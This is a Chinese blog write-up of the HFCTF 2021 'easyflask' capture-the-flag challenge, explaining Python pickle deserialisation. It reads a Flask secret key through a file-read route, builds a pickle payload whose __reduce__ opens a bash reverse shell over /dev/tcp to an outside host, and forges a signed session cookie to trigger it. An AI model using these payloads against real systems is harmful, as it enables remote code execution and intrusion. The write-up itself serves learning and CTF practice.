[HFCTF 2021 Final]easyflask

[HFCTF 2021 Final]easyflask

知识点:pickle反序列化,session伪造

pickle学习

在这里插入图片描述

import pickle
data = ['aa','bb','cc']
#dumps 将数据通过特殊的形式转换为只有python语言认识的字符串
p = pickle.dumps(data)
print(p)

#将pickle数据转换为python的数据结构
p1 = pickle.loads(p)
print(p1)

#dump 将数据通过特殊的形式转换为只有python语言认识的字符串然后写入文件
with open('D:/php/tmp.pk','wb') as f:
    #这个函数要求读写文件以二进制读写,所以上面的需要是wb
    pickle.dump(data,f)

with open('D:/php/tmp.pk','rb') as f:
    #这个函数要求读写文件以二进制读写,所以上面的需要是rb
    data = pickle.load(f)
    print(data)

运行结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DbVl0eHz-1643032227182)([HFCTF 2021 Final]easyflask.assets/image-20220124103835515.png)]

关于pvm和jvm的解释

在查资料的时候碰到这个东西,所以学习一下:python虚拟机:pvm - shinymood - 博客园 (cnblogs.com)

JVM:java虚拟机

PVM:python虚拟机

在这里插入图片描述

python反序列化实例分析

Python Pickle反序列化漏洞 - FreeBuf网络安全行业门户

import pickle
import os

class Test2(object):
    def __reduce__(self):
    	#被调用函数的参数
        cmd = "/usr/bin/id" 
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test2()
    #执行序列化操作
    result1 = pickle.dumps(test)
    #执行反序列化操作
    result2 = pickle.loads(result1)

在序列化操作的时候,不执行__reduce__函数;当执行反序列化操作的时候,执行__reduce__函数

在这里插入图片描述

(os.system,(cmd,))中的,应该是消除歧义的

在这里插入图片描述

反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.

另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。

官方文档中的解释

在这里插入图片描述

获取源码

打开容器,提示/file?file=index.js

然后放入url中,提示/app/source,得到源码

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

解题步骤

读取secret_key

/file路由下,读取/proc/self/environ

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

反序列化脚本

/admin路由下,存在python反序列化

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

(注意在linux的python2下运行)结果

在这里插入图片描述

伪造session

这里卡了好久,看大佬的wp中用的是flask unsign,然后我去github上下载,但是一直没通,,,

后来想到我之前做过一个session伪造的题目[HCTF 2018]Hideandseek_Sk1y的博客-CSDN博客,用的那个时候的脚本flask_session_manager.py

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

在python3的环境下运行(windows和linux倒是无所谓,两种环境下我都成功过)

python3 flask_session_manager.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4Lzc3NzcgMD4mMSciCnAxCnRwMgpScDMKLg=='}}"

结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PlJptz3v-1643032227185)([HFCTF 2021 Final]easyflask.assets/image-20220124213307717.png)]

访问/admin路由,抓包,然后修改session,注意提前监听vps的端口,反弹shell即可得到flag

在这里插入图片描述

参考链接

  1. Python Pickle反序列化漏洞 - FreeBuf网络安全行业门户
  2. python虚拟机:pvm - shinymood - 博客园 (cnblogs.com)
  3. pickle — Python 对象序列化 — Python 3.10.2 文档
  4. noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)
  5. [HCTF 2018]Hideandseek_Sk1y的博客-CSDN博客
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值